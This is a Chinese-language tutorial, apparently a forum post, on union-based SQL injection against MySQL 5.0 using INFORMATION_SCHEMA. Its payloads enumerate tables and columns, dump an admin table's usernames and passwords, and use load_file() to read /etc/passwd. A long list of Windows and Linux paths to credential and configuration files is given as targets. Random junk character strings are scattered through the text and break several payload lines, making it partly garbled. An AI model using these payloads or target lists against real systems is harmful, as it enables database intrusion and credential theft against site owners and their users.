mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
& A8 ]- r: V6 Z0 Y


Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
" _# ~2 b0 C1 z; ~- @( e# w, r' k0 e中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
3 k# g% T) B( z/ k+ a/ K. u明。
4 c# m- @* u! o1 o- ]- K, U1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
- L. M  ?$ V5 G: {5 S" Z# w|—字段：TABLE_NAME ->存储所属表的名称
1 l3 r' e3 Q4 P; c
|—字段：COLUMN_NAME ->该字段的名称
% T. s5 J: \& X  Z- K3 x
+ _; x9 L* M! H  l#########################################################################
; P7 ?3 w' K# i! c4 ?##

0×001 获取系统信息:
# g2 @- b" s9 D1 R4 t( @3 j
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
( T4 a6 i" C4 v8 \) J, s
: w9 \+ u  Q, ~0 ]8 t/*
/ ]2 h: w) F. ~) w4 P- }% S8 s
' }6 u( S4 R: Z/ d@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/

######################################################################
: p9 I, N( V, j2 y2 R3 A+ V
0×002 获取表名
: w3 A- ]: k  ~: \* T
5 j+ l& h& r( L; y2 x2 H' j7 Uunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

9 z# f3 ]: _0 o( a% a4 Z/*

( G/ P2 r6 o3 N9 s0 k# f0x67617264656e 为当前数据库名
( }  M( P9 D  u3 Q% S+ q* U
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
0 [' J. J8 Z1 d( C" Y/ E
6 s3 e+ G! f% O( f& ]######################################################################

0×003 获取字段

1 h- Q4 R4 z0 V: ^2 kunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
; c. ?( G; I. h0 O: U+ v3 Pinformation_schema.columns where table_name=0x61646d696e and

" r( X7 R5 |5 k  d3 l
7 W( [3 S4 w0 y. gtable_schema=0x67617264656e limit 1 /*
: c' R3 \$ ]0 G# Z
3 X" R6 i* v0 [0 C" \/*
1 D$ {: k8 W/ y9 G
: j" h# @3 p+ m8 V7 ?+ cgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
7 y4 t. v6 a8 l6 p8 M7 W7 ]
6 N9 y3 w% A$ `' W8 ]0x61646d696e ->选择一个表

( B! f" F- v( b" Y6 R! q/ f2 @( n0x67617264656e ->数据库名
; p- Q! A; `& \& E* F, C
*/

, Q/ m6 f& Z0 }8 C7 X1 \& [#####################################################################
# }6 Q# X, U. ]
0×004 获取数据

! K1 N( x/ }9 K3 b4 H! r5 y( z) Lunion select 1,2,3
$ W3 T8 G7 H: L7 @  \# o1 n0 S6 T,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

( t, B/ ~7 t. u0 ~union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

/*

0x3c62723e 换行符号HEX编码
' f+ J; K" h  i2 M7 _1 x/ x* l' i
# m' Y1 a4 k$ {# J& pgroup_concat 同时获得该字段所有数据
/ V- i: x4 c5 T
*/
; p2 @+ I5 {0 y; @3 w
/ p* N- ^3 V8 g" S8 k% a  k8 K
3 r* D9 n8 @* n

0 J( J/ p5 E1 v* e5 d$ L
顺便添加一些mysql注入时非常有用的一些东西
7 B# F4 q1 q! m8 e' L0 [7 @" u5 R
+ d5 C$ g5 f! J" o, A0 [; u4 _简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

: W( M0 t: G+ h1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
4 F3 `8 f" m- d. C( A$ y! ^7:load_file()   MYSQL读取本地文件的函数
$ \, G  F* K9 [. q: S6 p8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
0 j) k0 [* \4 _10@version_compile_os   操作系统  Windows Server 2003,
8 ?4 x9 n7 U5 n, V( d9 A  v收集的一些路径：
WINDOWS下:
# T7 D( ^( X& Tc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
+ V& i& W6 H$ C- ^3 wc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
- J- ^3 a% @) _% Pc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
8 I4 y- p6 }' R" jc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
0 G+ g$ }; j( Z, m  ]( _7 ^1 j8 nc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
. C- e/ M1 o0 n9 a* X! dc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

- V2 F+ I% N; N! k1 [0 t. o
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
9 r, L1 P4 W3 ?d:\APACHE\Apache2\conf\httpd.conf
( [5 t, U. `$ ], v9 h2 v0 R' a6 l4 OC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
9 }& ]' m2 P5 M  {* X7 G/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
% P0 P" W. E6 O5 _  ^, V; k$ o/etc/sysconfig/iptables //从中得到防火墙规则策略
6 S( a3 e7 L& i- a/ X. W/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
- k9 F8 y* p% b! [( B1 T: `/etc/redhat-release //系统版本
/etc/issue
0 Q- r0 r+ M( }/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
# b# X$ p" x+ {8 T/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
: Y5 j$ m6 Q4 P: ?/ G/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
4 C( D) z, U$ E( h/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
. q' T3 z: U2 ]% b% D8 o/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
. |" D, c8 S) H/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
0 U5 I- S6 h  _  d5 S9 k! u/etc/sysconfig/iptables 查看防火墙策略
: F8 a/ J/ _, L% r7 Uload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
# i6 ~) p' R2 D4 m' M* l9 Nreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
4 ]  P8 Q* v: r6 a& g$ K/ E上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
+ \$ _2 _+ o7 |- N
  M$ T5 z  B) k0 m0 g+ K1 U" B1 U